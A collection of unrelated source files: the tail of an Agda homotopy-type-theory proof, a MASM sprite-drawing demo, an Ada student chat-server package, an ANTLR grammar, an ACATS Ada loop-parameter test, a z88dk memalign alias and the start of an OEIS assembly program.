∙ (∘-ap i∙₀ f∙₁ (glue c)
∙ ap-∘ from (left ∘ f∙₁) (glue c)
∙ ap (ap from) (ap-∘ left f∙₁ (glue c)))
∙ ap (ap from) (F∙₁.glue-β c |in-ctx (ap left)))
∙ ap (ap from) (ap-!∙∙`∘`∘ left left right (H₁₁ c) (glue (f₂₁ c)) (H₃₁ c))
∙ ap-!'∙∙`∘`∘ from (left ∘ left) (left ∘ right) (H₁₁ c) (ap left (glue (f₂₁ c))) (H₃₁ c))
=⟨ ap-∘^3-coh' from left f∙₁ (glue c)
|in-ctx (λ u → (! (I∙₀.glue-β (f₂₁ c)) |in-ctx (λ u → (! (ap (left ∘ left) (H₁₁ c)) ∙ u ∙ ap (right ∘ left) (H₃₁ c))))
∙ ((! (ap-!∙∙`∘`∘ i∙₀ left right (H₁₁ c) (glue (f₂₁ c)) (H₃₁ c)))
∙ ((! (F∙₁.glue-β c) |in-ctx (λ u → ap i∙₀ u))
∙ u
∙ ap (ap from) (F∙₁.glue-β c |in-ctx (ap left)))
∙ ap (ap from) (ap-!∙∙`∘`∘ left left right (H₁₁ c) (glue (f₂₁ c)) (H₃₁ c))
∙ ap-!'∙∙`∘`∘ from (left ∘ left) (left ∘ right) (H₁₁ c) (ap left (glue (f₂₁ c))) (H₃₁ c))) ⟩
(! (I∙₀.glue-β (f₂₁ c)) |in-ctx (λ u → (! (ap (left ∘ left) (H₁₁ c)) ∙ u ∙ ap (right ∘ left) (H₃₁ c))))
∙ ((! (ap-!∙∙`∘`∘ i∙₀ left right (H₁₁ c) (glue (f₂₁ c)) (H₃₁ c)))
∙ ((! (F∙₁.glue-β c) |in-ctx (ap i∙₀))
∙ ap-∘ from left (ap f∙₁ (glue c))
∙ ap (ap from) (F∙₁.glue-β c |in-ctx (ap left)))
∙ ap (ap from) (ap-!∙∙`∘`∘ left left right (H₁₁ c) (glue (f₂₁ c)) (H₃₁ c))
∙ ap-!'∙∙`∘`∘ from (left ∘ left) (left ∘ right) (H₁₁ c) (ap left (glue (f₂₁ c))) (H₃₁ c))
=⟨ ap-∘-ap-coh' from left (F∙₁.glue-β c)
|in-ctx (λ u → (! (I∙₀.glue-β (f₂₁ c)) |in-ctx (λ u → (! (ap (left ∘ left) (H₁₁ c)) ∙ u ∙ ap (right ∘ left) (H₃₁ c))))
∙ ((! (ap-!∙∙`∘`∘ i∙₀ left right (H₁₁ c) (glue (f₂₁ c)) (H₃₁ c)))
∙ u
∙ ap (ap from) (ap-!∙∙`∘`∘ left left right (H₁₁ c) (glue (f₂₁ c)) (H₃₁ c))
∙ ap-!'∙∙`∘`∘ from (left ∘ left) (left ∘ right) (H₁₁ c) (ap left (glue (f₂₁ c))) (H₃₁ c))) ⟩
(! (I∙₀.glue-β (f₂₁ c)) |in-ctx (λ u → (! (ap (left ∘ left) (H₁₁ c)) ∙ u ∙ ap (right ∘ left) (H₃₁ c))))
∙ ((! (ap-!∙∙`∘`∘ i∙₀ left right (H₁₁ c) (glue (f₂₁ c)) (H₃₁ c)))
∙ ap-∘ from left (ap left (! (H₁₁ c)) ∙ glue (f₂₁ c) ∙ ap right (H₃₁ c))
∙ ap (ap from) (ap-!∙∙`∘`∘ left left right (H₁₁ c) (glue (f₂₁ c)) (H₃₁ c))
∙ ap-!'∙∙`∘`∘ from (left ∘ left) (left ∘ right) (H₁₁ c) (ap left (glue (f₂₁ c))) (H₃₁ c))
=⟨ ap-∘-ap-!∙∙`∘`∘-coh from left left right (H₁₁ c) (glue (f₂₁ c)) (H₃₁ c)
|in-ctx (λ u → (! (I∙₀.glue-β (f₂₁ c)) |in-ctx (λ u → (! (ap (left ∘ left) (H₁₁ c)) ∙ u ∙ ap (right ∘ left) (H₃₁ c)))) ∙ u) ⟩
(! (I∙₀.glue-β (f₂₁ c)) |in-ctx (λ u → (! (ap (left ∘ left) (H₁₁ c)) ∙ u ∙ ap (right ∘ left) (H₃₁ c))))
∙ (ap-∘ from left (glue (f₂₁ c)) |in-ctx (λ u → ! (ap (left ∘ left) (H₁₁ c)) ∙ u ∙ ap (right ∘ left) (H₃₁ c)))
=⟨ coh2 (glue (f₂₁ c)) (I∙₀.glue-β (f₂₁ c)) ⟩
(! (∘-ap from left (glue (f₂₁ c)) ∙ I∙₀.glue-β (f₂₁ c)) |in-ctx (λ u → ! (ap (left ∘ left) (H₁₁ c)) ∙ u ∙ ap (right ∘ left) (H₃₁ c))) ∎
where
eq1 : ∀ {i j} {A : Type i} {B : Type j} {f : A → B} {a b c d e : B} {k l m n : A} {o : B}
{p : a == b} {q : b == c} {r : c == d} {s : d == e} {t : e == f k} {u : k == l}
{v : l == m} {w : m == n} {x : f n == o}
→ (_ =⟨ p ⟩ _ =⟨ q ⟩ _ =⟨ r ⟩ _ =⟨ s ⟩ _ ∎) ∙ t ∙ ap f (_ =⟨ u ⟩ _ =⟨ v ⟩ _ =⟨ w ⟩ _ ∎) ∙ x
== (p ∙ (q ∙ ((r ∙ (s ∙ t ∙ ap f u) ∙ ap f v) ∙ ap f w ∙ x)))
eq1 {p = idp} {idp} {idp} {idp} {t = t} {idp} {idp} {idp} {idp} = ! (∙-unit-r (t ∙ idp)) ∙ ! (∙-unit-r ((t ∙ idp) ∙ idp))
coh2 : ∀ {i j k l} {A : Type i} {B : Type j} {C : Type k} {D : Type l}
{a a' : A} (q : a == a') {h : A → B} {g : B → C} {f : (g (h a) == g (h a')) → D} {r : g (h a) == g (h a')} (p : ap (g ∘ h) q == r)
→ ((! p) |in-ctx f) ∙ (ap-∘ g h q |in-ctx f) == (! (∘-ap g h q ∙ p) |in-ctx f)
coh2 idp p = ∙-unit-r _
lemma2-4' =
ap□ from (↓-='-out (apd (glue {d = h-v-span}) (glue c))
∙□-i/ E₂∙Red.lhs-i c / E₂∙Red.rhs-i c /)
∙□-i/ E₂∙Red.ap-ap-coh-lhs-i c from / E₂∙Red.ap-ap-coh-rhs-i c from /
=⟨ lemma2-5 |in-ctx (λ u → u ∙□-i/ E₂∙Red.ap-ap-coh-lhs-i c from / E₂∙Red.ap-ap-coh-rhs-i c from /) ⟩
E∙₂Red.coh! c (↓-='-out (apd (glue {d = v-h-span}) (glue c))
∙□-i/ E∙₂Red.lhs-i c / E∙₂Red.rhs-i c /)
∙□-i/ E∙₂Red.lhs-o c / E∙₂Red.rhs-o c /
∙□-o/ From.glue-β (left (f₁₂ c)) / ! (From.glue-β (right (f₃₂ c))) /
∙□-i/ ∘-ap from (right ∘ f∙₃) (glue c) / ap-∘ from (left ∘ f∙₁) (glue c) /
∙□-i/ ap (ap from) (E₂∙Red.lhs-i c) / ap (ap from) (E₂∙Red.rhs-i c) /
∙□-i/ E₂∙Red.ap-ap-coh-lhs-i c from / E₂∙Red.ap-ap-coh-rhs-i c from /
=⟨ assoc (E∙₂Red.coh! c (↓-='-out (apd (glue {d = v-h-span}) (glue c))
∙□-i/ E∙₂Red.lhs-i c / E∙₂Red.rhs-i c /))
(E∙₂Red.lhs-o c) (∘-ap from (right ∘ f∙₃) (glue c)) (ap (ap from) (E₂∙Red.lhs-i c))
(E₂∙Red.ap-ap-coh-lhs-i c from) _ _ _ _ (From.glue-β (left (f₁₂ c))) _ ⟩
E∙₂Red.coh! c (↓-='-out (apd (glue {d = v-h-span}) (glue c))
∙□-i/ E∙₂Red.lhs-i c / E∙₂Red.rhs-i c /)
∙□-o/ From.glue-β (left (f₁₂ c)) / ! (From.glue-β (right (f₃₂ c))) /
∙□-i/ E₂∙Red.ap-ap-coh-lhs-i c from ∙ ap (ap from) (E₂∙Red.lhs-i c) ∙ ∘-ap from (right ∘ f∙₃) (glue c) ∙ E∙₂Red.lhs-o c
/ E∙₂Red.rhs-o c ∙ ap-∘ from (left ∘ f∙₁) (glue c) ∙ ap (ap from) (E₂∙Red.rhs-i c) ∙ E₂∙Red.ap-ap-coh-rhs-i c from /
=⟨ ∙□-i/-rewrite (E∙₂Red.coh! c (↓-='-out (apd (glue {d = v-h-span}) (glue c))
∙□-i/ E∙₂Red.lhs-i c / E∙₂Red.rhs-i c /)
∙□-o/ From.glue-β (left (f₁₂ c)) / ! (From.glue-β (right (f₃₂ c))) /) lemma2'-1 lemma2'-2 ⟩ -- rewrite
E∙₂Red.coh! c (↓-='-out (apd (glue {d = v-h-span}) (glue c))
∙□-i/ E∙₂Red.lhs-i c / E∙₂Red.rhs-i c /)
∙□-o/ From.glue-β (left (f₁₂ c)) / ! (From.glue-β (right (f₃₂ c))) /
∙□-i/ (∘-ap from right (glue (f₂₃ c)) ∙ I∙₄.glue-β (f₂₃ c)) |in-ctx (λ u → ap (left ∘ right) (H₁₃ c) ∙ u ∙ ! (ap (right ∘ right) (H₃₃ c)))
/ (! (∘-ap from left (glue (f₂₁ c)) ∙ I∙₀.glue-β (f₂₁ c))) |in-ctx (λ u → ! (ap (left ∘ left) (H₁₁ c)) ∙ u ∙ ap (right ∘ left) (H₃₁ c)) / ∎ where
assoc : ∀ {i} {A : Type i} {a b b' c : A} {u u' : a == b} {v v1 v2 v3 v4 : b == c}
{w w1 w2 w3 w4 : a == b'} {x x' : b' == c} (α : (u , v =□ w , x))
(p1 : v1 == v) (p2 : v2 == v1) (p3 : v3 == v2) (p4 : v4 == v3)
(q1 : w == w1) (q2 : w1 == w2) (q3 : w2 == w3) (q4 : w3 == w4)
(r : u' == u) (s : x == x')
→ α ∙□-i/ p1 / q1 / ∙□-o/ r / s / ∙□-i/ p2 / q2 / ∙□-i/ p3 / q3 / ∙□-i/ p4 / q4 /
== α ∙□-o/ r / s / ∙□-i/ p4 ∙ p3 ∙ p2 ∙ p1 / q1 ∙ q2 ∙ q3 ∙ q4 /
assoc α idp idp idp idp idp idp idp idp idp idp = idp
lemma2-4'' =
E₂∙Red.ap-ap-coh c from (ap□ from (↓-='-out (apd (glue {d = h-v-span}) (glue c))
∙□-i/ E₂∙Red.lhs-i c / E₂∙Red.rhs-i c /)
∙□-i/ E₂∙Red.ap-ap-coh-lhs-i c from / E₂∙Red.ap-ap-coh-rhs-i c from /)
=⟨ lemma2-4' |in-ctx (E₂∙Red.ap-ap-coh c from) ⟩
E₂∙Red.ap-ap-coh c from (E∙₂Red.coh! c (↓-='-out (apd (glue {d = v-h-span}) (glue c))
∙□-i/ E∙₂Red.lhs-i c / E∙₂Red.rhs-i c /)
∙□-o/ From.glue-β (left (f₁₂ c)) / ! (From.glue-β (right (f₃₂ c))) /
∙□-i/ (∘-ap from right (glue (f₂₃ c)) ∙ I∙₄.glue-β (f₂₃ c)) |in-ctx (λ u → ap (left ∘ right) (H₁₃ c) ∙ u ∙ ! (ap (right ∘ right) (H₃₃ c)))
/ (! (∘-ap from left (glue (f₂₁ c)) ∙ I∙₀.glue-β (f₂₁ c))) |in-ctx (λ u → ! (ap (left ∘ left) (H₁₁ c)) ∙ u ∙ ap (right ∘ left) (H₃₁ c))/)
=⟨ lemma (∘-ap from left (glue (f₂₁ c)) ∙ I∙₀.glue-β (f₂₁ c)) (From.glue-β (right (f₃₂ c))) (From.glue-β (left (f₁₂ c))) (∘-ap from right (glue (f₂₃ c)) ∙ I∙₄.glue-β (f₂₃ c))
(↓-='-out (apd (glue {d = v-h-span}) (glue c))
∙□-i/ E∙₂Red.lhs-i c / E∙₂Red.rhs-i c /) ⟩
↓-='-out (apd (glue {d = v-h-span}) (glue c))
∙□-i/ E∙₂Red.lhs-i c / E∙₂Red.rhs-i c /
∙□-o/ ∘-ap from left (glue (f₂₁ c)) ∙ I∙₀.glue-β (f₂₁ c) / ! (∘-ap from right (glue (f₂₃ c)) ∙ I∙₄.glue-β (f₂₃ c)) /
∙□-i/ (From.glue-β (right (f₃₂ c))) |in-ctx (λ u → ap (right ∘ left) (H₃₁ c) ∙ u ∙ ap (right ∘ right) (H₃₃ c))
/ (! (From.glue-β (left (f₁₂ c)))) |in-ctx (λ u → ap (left ∘ left) (H₁₁ c) ∙ u ∙ ap (left ∘ right) (H₁₃ c)) / ∎
lemma2-4 =
ap□ from (E₂∙Red.coh c (↓-='-out (apd (glue {d = h-v-span}) (glue c))
∙□-i/ E₂∙Red.lhs-i c / E₂∙Red.rhs-i c /))
=⟨ E₂∙Red.ap-ap-coh-β c from (↓-='-out (apd (glue {d = h-v-span}) (glue c)) ∙□-i/ E₂∙Red.lhs-i c / E₂∙Red.rhs-i c /) ⟩
E₂∙Red.ap-ap-coh c from (ap□ from (↓-='-out (apd (glue {d = h-v-span}) (glue c))
∙□-i/ E₂∙Red.lhs-i c / E₂∙Red.rhs-i c /)
∙□-i/ E₂∙Red.ap-ap-coh-lhs-i c from / E₂∙Red.ap-ap-coh-rhs-i c from /)
∙□-i/ E₂∙Red.ap-ap-coh-lhs-o c from / E₂∙Red.ap-ap-coh-rhs-o c from /
=⟨ lemma2-4'' |in-ctx (λ u → u ∙□-i/ E₂∙Red.ap-ap-coh-lhs-o c from / E₂∙Red.ap-ap-coh-rhs-o c from /) ⟩
↓-='-out (apd (glue {d = v-h-span}) (glue c))
∙□-i/ E∙₂Red.lhs-i c / E∙₂Red.rhs-i c /
∙□-o/ ∘-ap from left (glue (f₂₁ c)) ∙ I∙₀.glue-β (f₂₁ c) / ! (∘-ap from right (glue (f₂₃ c)) ∙ I∙₄.glue-β (f₂₃ c)) /
∙□-i/ (From.glue-β (right (f₃₂ c))) |in-ctx (λ u → ap (right ∘ left) (H₃₁ c) ∙ u ∙ ap (right ∘ right) (H₃₃ c))
/ (! (From.glue-β (left (f₁₂ c)))) |in-ctx (λ u → ap (left ∘ left) (H₁₁ c) ∙ u ∙ ap (left ∘ right) (H₁₃ c)) /
∙□-i/ E₂∙Red.ap-ap-coh-lhs-o c from / E₂∙Red.ap-ap-coh-rhs-o c from / ∎
|
Blitters/sDraw/Examples in Assembler/Example1.asm | idinev/pub_toys | 0 | 95392 | ;----------[ normal includes ... ]---------\
.686
.model flat,stdcall
.mmx
option casemap :none
option proc:private
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\gdi32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\gdi32.lib
include ..\sDraw.inc
includelib ..\sDraw.lib
;------------------------------------------/
WND_STYLE equ WS_POPUP or WS_CAPTION or WS_VISIBLE or WS_SYSMENU
.data
wc WNDCLASSEX <>
wndClass db "WindowClass1",0
wndTitle db "sDraw Example",0
lpszBall db "..\Media\Ball.ilb",0
lpszBack db "..\Media\back.ilb",0
pBall dd 0
pBack dd 0
.code
TestDraw proc hWnd
local BallPos:POINT
invoke sdStart,hWnd
jz _ret
invoke GetCursorPos,addr BallPos
invoke ScreenToClient,hWnd,addr BallPos
sub BallPos.x,50
sub BallPos.y,50
invoke sdSetSourceSprite,pBack
invoke sBlt,0,0,400,300,0,0
invoke sdSetSourceSprite,pBall
invoke sBltAlpha,BallPos.x,BallPos.y,100,100,0,0,300
invoke GetTickCount
shr eax,3
and eax,255
invoke sDrawRectROP,100,100,400,300,eax,SD_ADDSAT
invoke sdEnd
_ret: ret
TestDraw endp
;----------[ creates an arbitrary window ]---------------------[
MakeOneWindow proc wid,hei,pFunc,pTitle,dwStyle1
local rect:RECT
local hInst
mov wc.cbSize,sizeof wc
push pFunc
pop wc.lpfnWndProc
invoke LoadCursor,0,IDC_ARROW
mov wc.hCursor,eax
invoke GetModuleHandle,0
mov wc.hInstance,eax
mov hInst,eax
mov wc.lpszClassName,offset wndClass
invoke RegisterClassEx,addr wc
;-------------------------------------------/
;-----[ adjust window size ]---------\
mov rect.left,0
mov rect.top,0
push wid
pop rect.right
push hei
pop rect.bottom
invoke AdjustWindowRect,addr rect,dwStyle1,0
mov eax,rect.right
sub eax,rect.left
mov ecx,rect.bottom
sub ecx,rect.top
;------------------------------------/
invoke CreateWindowEx,0,wc.lpszClassName,pTitle,dwStyle1,50,50,eax,ecx,0,0,hInst,0
ret
MakeOneWindow endp
;--------------------------------------------------------------/
;--------------[ main window's procedure ]------------------------[
WinProc proc hWnd,msg,w,l
.if msg==WM_CLOSE
invoke PostQuitMessage,0
.elseif msg==WM_PAINT
invoke ValidateRect,hWnd,0
invoke TestDraw,hWnd
.elseif msg==WM_MOUSEMOVE
invoke TestDraw,hWnd
.else
invoke DefWindowProc,hWnd,msg,w,l
ret
.endif
xor eax,eax
ret
WinProc endp
;------------------------------------------------------------------/
;===========================[ main procedure ]=======================================[
main proc
local msg:MSG
;-------[ init sDraw, and load images ]------------------[
invoke InitSDraw,400,300
invoke sdSpriteFromILBFile,addr lpszBall
mov pBall,eax
invoke sdSpriteFromILBFile,addr lpszBack
mov pBack,eax
;--------------------------------------------------------/
;------[ make the main window ]-----------------------------[
invoke MakeOneWindow,400,300,WinProc,addr wndTitle,WND_STYLE
;-----------------------------------------------------------/
;---[ message-loop ]-----------------------[
.while TRUE
invoke GetMessage, ADDR msg,0,0,0
.BREAK .IF (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.endw
;------------------------------------------/
invoke FreeSDraw
ret
main endp
;====================================================================================/
start:
invoke main
invoke ExitProcess,0
end start
|
chat_procedures.adb | cborao/Ada-P3 | 0 | 14893 | <reponame>cborao/Ada-P3<gh_stars>0
--PRÁCTICA 3: <NAME> (Chat_Procedures.adb)
with Ada.Text_IO;
with Chat_Messages;
with Gnat.Calendar.Time_IO;
with Ada.Strings.Unbounded;
package body Chat_Procedures is
package CM renames Chat_Messages;
use type Ada.Calendar.Time;
function Max_Valid (Max_Clients: Natural) return Boolean is
begin
if Max_Clients >= 2 and Max_Clients <= 50 then
return True;
else
return False;
end if;
end Max_Valid;
procedure Send_To_Readers (Automatic: Boolean;
Nick: in out ASU.Unbounded_String;
Comment: ASU.Unbounded_String;
O_Buffer: access LLU.Buffer_Type) is
C: Active_Clients.Cursor := Active_Clients.First(Active_Map);
begin
if Automatic then
Nick := ASU.To_Unbounded_String("server");
end if;
while Active_Clients.Has_Element(C) loop
if Active_Clients.Element(C).Key /= Nick then
CM.Server_Message (Active_Clients.Element(C).Value.Client_EP,
Nick,Comment,O_Buffer);
end if;
Active_Clients.Next(C);
end loop;
end Send_To_Readers;
function Time_Image (T: Ada.Calendar.Time) return String is
begin
return Gnat.Calendar.Time_IO.Image(T, "%d-%b-%y %T.%i");
end Time_Image;
function Format_EP (EP_Image: in out ASU.Unbounded_String) return ASU.Unbounded_String is
IP_Image: ASU.Unbounded_String;
Port_Image: ASU.Unbounded_String;
Position: Integer;
Delimiter: String := " ";
Result: ASU.Unbounded_String;
begin
for I in 1..2 loop
Position := ASU.Index(EP_Image, Delimiter);
ASU.Tail(EP_Image, ASU.Length(EP_Image) - Position);
end loop;
Position := ASU.Index(EP_Image, Delimiter);
IP_Image := ASU.Head (EP_Image, Position - 2);
ASU.Tail(EP_Image, ASU.Length(EP_Image) - Position);
Position := ASU.Index(EP_Image, Delimiter);
Port_Image := ASU.Tail(EP_Image, ASU.Length(EP_Image) - Position - 1);
Result := "(" & IP_Image & ":" & Port_Image & ")";
return Result;
end Format_EP;
procedure Print_Active_Map is
C: Active_Clients.Cursor := Active_Clients.First(Active_Map);
EP_Image: ASU.Unbounded_String;
begin
Ada.Text_IO.Put_Line ("ACTIVE CLIENTS");
Ada.Text_IO.Put_Line ("==============");
while Active_Clients.Has_Element(C) loop
EP_Image := ASU.To_Unbounded_String(LLU.Image(Active_Clients.Element
(C).Value.Client_EP));
Ada.Text_IO.Put_Line (ASU.To_String(Active_Clients.Element(C).Key) &
" " &
ASU.To_String(Format_EP(EP_Image)) & " " &
Time_Image(Active_Clients.Element(C).Value.Time));
Active_Clients.Next(C);
end loop;
ATI.New_Line;
end Print_Active_Map;
procedure Print_Old_Map is
C: Old_Clients.Cursor := Old_Clients.First(Old_Map);
begin
Ada.Text_IO.Put_Line ("OLD CLIENTS");
Ada.Text_IO.Put_Line ("===========");
while Old_Clients.Has_Element(C) loop
Ada.Text_IO.Put_Line (ASU.To_String(Old_Clients.Element(C).Key) &
": " & Time_Image(Old_Clients.Element(C).Value));
Old_Clients.Next(C);
end loop;
ATI.New_Line;
end Print_Old_Map;
function Client_To_Ban (Active_Map: Active_Clients.Map) return ASU.Unbounded_String is
C: Active_Clients.Cursor := Active_Clients.First(Active_Map);
Min_Time: Ada.Calendar.Time;
Nick: ASU.Unbounded_String;
begin
Min_Time := Active_Clients.Element(C).Value.Time;
Nick := Active_Clients.Element(C).Key;
while Active_Clients.Has_Element(C) loop
if Active_Clients.Element(C).Value.Time < Min_Time then
Nick := Active_Clients.Element(C).Key;
end if;
Active_Clients.Next(C);
end loop;
return Nick;
end Client_To_Ban;
procedure Server_To_All (Comment: ASU.Unbounded_String;
O_Buffer: access LLU.Buffer_Type) is
C: Active_Clients.Cursor := Active_Clients.First(Active_Map);
Nick: ASU.Unbounded_String := ASU.To_Unbounded_String("Server");
begin
while Active_Clients.Has_Element(C) loop
CM.Server_Message (Active_Clients.Element(C).Value.Client_EP,
Nick,Comment,O_Buffer);
Active_Clients.Next(C);
end loop;
end Server_To_All;
procedure Case_Init (I_Buffer: access LLU.Buffer_Type;
O_Buffer: access LLU.Buffer_Type) is
Client_EP_Receive: LLU.End_Point_Type;
Client_EP_Handler: LLU.End_Point_Type;
Nick: ASU.Unbounded_String;
Ban_Nick: ASU.Unbounded_String;
Comment: ASU.Unbounded_String;
Logout_Time: Ada.Calendar.Time;
Client_Data: Data;
Accepted: Boolean;
Success: Boolean;
begin
Client_EP_Receive := LLU.End_Point_Type'Input (I_Buffer);
Client_EP_Handler := LLU.End_Point_Type'Input (I_Buffer);
Nick := ASU.Unbounded_String'Input (I_Buffer);
Active_Clients.Get(Active_Map,Nick,Client_Data,Success);
if Success then
Accepted := False;
ATI.Put_Line("INIT received from " & ASU.To_String(Nick)
& ": IGNORED. nick already used");
else
ATI.Put_Line("INIT received from " & ASU.To_String(Nick)
& ": ACCEPTED");
begin
Accepted := True;
Client_Data.Client_EP := Client_EP_Handler;
Client_Data.Time := Ada.Calendar.Clock;
Active_Clients.Put (Active_Map,Nick,Client_Data);
exception
when Active_Clients.Full_Map =>
Ban_Nick := Client_To_Ban(Active_Map);
Logout_Time := Ada.Calendar.Clock;
Old_Clients.Put (Old_Map,Ban_Nick,Logout_Time);
Comment := ASU.To_Unbounded_String(ASU.To_String(Ban_Nick)
& " banned for being idle too long");
Server_To_All (Comment,O_Buffer);
Active_Clients.Delete (Active_Map,Ban_Nick,Success);
Active_Clients.Put (Active_Map,Nick,Client_Data);
end;
Comment := ASU.To_Unbounded_String(ASU.To_String(Nick) &
" joins the chat");
--Automatic := True
Send_To_Readers (True,Nick,Comment,O_Buffer);
end if;
CM.Welcome_Message(Client_EP_Receive,Accepted,
O_Buffer);
end Case_Init;
procedure Case_Writer (I_Buffer: Access LLU.Buffer_Type;
O_Buffer: Access LLU.Buffer_Type) is
Client_EP_Handler: LLU.End_Point_Type;
Nick: ASU.Unbounded_String;
Comment: ASU.Unbounded_String;
Success: Boolean;
Client_Data: Data;
begin
Client_EP_Handler := LLU.End_Point_Type'Input (I_Buffer);
Nick := ASU.Unbounded_String'Input (I_Buffer);
Comment := ASU.Unbounded_String'Input (I_Buffer);
Active_Clients.Get(Active_Map,Nick,Client_Data,Success);
if Success and LLU."="(Client_Data.Client_EP,Client_EP_Handler) then
ATI.Put_Line("WRITER received from " & ASU.To_String(Nick) & ": " &
ASU.To_String(Comment));
Client_Data.Time := Ada.Calendar.Clock;
Active_Clients.Put(Active_Map,Nick,Client_Data);
--Automatic := False
Send_To_Readers (False,Nick,Comment,O_Buffer);
else
ATI.Put_Line("WRITER received from unknown client. IGNORED");
end if;
end Case_Writer;
procedure Case_Logout (I_Buffer: access LLU.Buffer_Type;
O_Buffer: access LLU.Buffer_Type) is
Client_EP_Handler: LLU.End_Point_Type;
Nick: ASU.Unbounded_String;
Comment: ASU.Unbounded_String;
Success: Boolean;
Client_Data: Data;
begin
Client_EP_Handler := LLU.End_Point_Type'Input (I_Buffer);
Nick := ASU.Unbounded_String'Input (I_Buffer);
Active_Clients.Get(Active_Map,Nick,Client_Data,Success);
if Success and LLU."="(Client_Data.Client_EP,Client_EP_Handler) then
ATI.Put_Line("LOGOUT received from " & ASU.To_String(Nick));
Active_Clients.Delete (Active_Map,Nick,Success);
Client_Data.Time := Ada.Calendar.Clock;
Old_Clients.Put (Old_Map,Nick,Client_Data.Time);
Comment := ASU.To_Unbounded_String(ASU.To_String(Nick) &
" leaves the chat");
--Automatic := True
Send_To_Readers (True,Nick,Comment,O_Buffer);
else
ATI.Put_Line("LOGOUT received from banned " & ASU.To_String(Nick));
end if;
end Case_Logout;
end Chat_Procedures;
|
src/main/antlr4/minpiler/antlr4/R1.g4 | syedraihan/minpiler | 0 | 742 | <reponame>syedraihan/minpiler<gh_stars>0
grammar R1;
r1
: 'program' exp
;
exp
: integer
| read_exp
| neg_exp
| add_exp
| variable
| let_exp
;
integer
: INT
;
read_exp
: '(' 'read' ')'
;
neg_exp
: '(' '-' exp ')'
;
add_exp
: '(' '+' exp exp ')'
;
variable
: VAR
;
let_exp
: '(' 'let' '(' '[' variable exp ']' ')' exp ')'
;
INT
: ('0' .. '9')+
;
VAR
: ('a' .. 'z' | 'A' .. 'Z')+
;
WS
:
[ \t\r\n ]+ -> skip
;
|
gcc-gcc-7_3_0-release/gcc/testsuite/ada/acats/tests/c8/c83b02b.ada | best08618/asylo | 7 | 23346 | -- C83B02B.ADA
-- Grant of Unlimited Rights
--
-- Under contracts F33600-87-D-0337, F33600-84-D-0280, MDA903-79-C-0687,
-- F08630-91-C-0015, and DCA100-97-D-0025, the U.S. Government obtained
-- unlimited rights in the software and documentation contained herein.
-- Unlimited rights are defined in DFAR 252.227-7013(a)(19). By making
-- this public release, the Government intends to confer upon all
-- recipients unlimited rights equal to those held by the Government.
-- These rights include rights to use, duplicate, release or disclose the
-- released technical data and computer software in whole or in part, in
-- any manner and for any purpose whatsoever, and to have or permit others
-- to do so.
--
-- DISCLAIMER
--
-- ALL MATERIALS OR INFORMATION HEREIN RELEASED, MADE AVAILABLE OR
-- DISCLOSED ARE AS IS. THE GOVERNMENT MAKES NO EXPRESS OR IMPLIED
-- WARRANTY AS TO ANY MATTER WHATSOEVER, INCLUDING THE CONDITIONS OF THE
-- SOFTWARE, DOCUMENTATION OR OTHER INFORMATION RELEASED, MADE AVAILABLE
-- OR DISCLOSED, OR THE OWNERSHIP, MERCHANTABILITY, OR FITNESS FOR A
-- PARTICULAR PURPOSE OF SAID MATERIAL.
--*
-- CHECK THAT NON-NESTED LOOPS CAN HAVE IDENTICALLY NAMED PARAMETERS,
-- AND REFERENCES IN EACH LOOP ARE ASSOCIATED WITH THAT LOOP'S
-- LOOP PARAMETER. (THIS IS PART B OF THE OBJECTIVE.)
-- CHECK ALSO THAT A LOOP PARAMETER CAN HAVE THE SAME IDENTIFIER
-- AS A VARIABLE DECLARED IN THE SCOPE IMMEDIATELY CONTAINING
-- THE LOOP. (THIS IS PART C OF THE OBJECTIVE.)
-- RM 6 JUNE 1980
WITH REPORT;
PROCEDURE C83B02B IS
USE REPORT;
I , J : INTEGER := 1 ;
BEGIN
TEST ( "C83B02B" ,
"CHECK THAT NON-NESTED LOOPS CAN HAVE IDENTICALLY NAMED" &
" PARAMETERS" );
COMMENT ( "THE NAME MAY BE THE SAME AS THAT OF A VARIABLE" &
" KNOWN OUTSIDE THE LOOP" );
-- CHECK PART B OF THE OBJECTIVE
DECLARE
TYPE WEEKDAY IS ( MON , TUE , WED , THU , FRI );
BEGIN
FOR LOOP_PAR IN 3..3 LOOP
I := I * LOOP_PAR ; -- 3
END LOOP;
FOR LOOP_PAR IN FRI..FRI LOOP
I := I * WEEKDAY'POS(LOOP_PAR) ; -- 12
END LOOP;
FOR LOOP_PAR IN 7..7 LOOP
I := I * LOOP_PAR ; -- 84
END LOOP;
END;
IF I /= 84 THEN
FAILED ("DID NOT ACCESS ENCLOSING IDENTICALLY NAMED " &
"LOOP PARAMETER IN NON-NESTED LOOPS");
END IF;
-- CHECK PART C OF THE OBJECTIVE
DECLARE
LOOP_PAR : INTEGER := 2 ;
BEGIN
J := J * LOOP_PAR ; -- 2
FOR LOOP_PAR IN 3..3 LOOP
J := J * LOOP_PAR ; -- 6
END LOOP;
J := J * LOOP_PAR ; -- 12
FOR LOOP_PAR IN 5..5 LOOP
J := J * LOOP_PAR ; -- 60
END LOOP;
J := J * LOOP_PAR ; -- 120
FOR LOOP_PAR IN 7..7 LOOP
J := J * LOOP_PAR ; -- 840
END LOOP;
J := J * LOOP_PAR ; -- 1680
END;
IF J /= 1680 THEN
FAILED ("DID NOT ACCESS IDENTICALLY NAMED LOOP PARAMETER " &
"INSIDE NON-NESTED LOOPS OR IDENTICALLY NAMED " &
"VARIABLE OUTSIDE LOOPS");
END IF;
RESULT;
END C83B02B;
|
libsrc/_DEVELOPMENT/alloc/malloc/c/sdcc_iy/memalign_unlocked_callee.asm | meesokim/z88dk | 0 | 105047 |
; void *memalign_unlocked_callee(size_t alignment, size_t size)
SECTION code_alloc_malloc
PUBLIC _memalign_unlocked_callee
EXTERN _aligned_alloc_unlocked_callee
defc _memalign_unlocked_callee = _aligned_alloc_unlocked_callee
INCLUDE "alloc/malloc/z80/asm_memalign_unlocked.asm"
|
oeis/053/A053731.asm | neoneye/loda-programs | 11 | 176990 | <gh_stars>10-100
; A053731: a(n) = ceiling(binomial(n,8)/n).
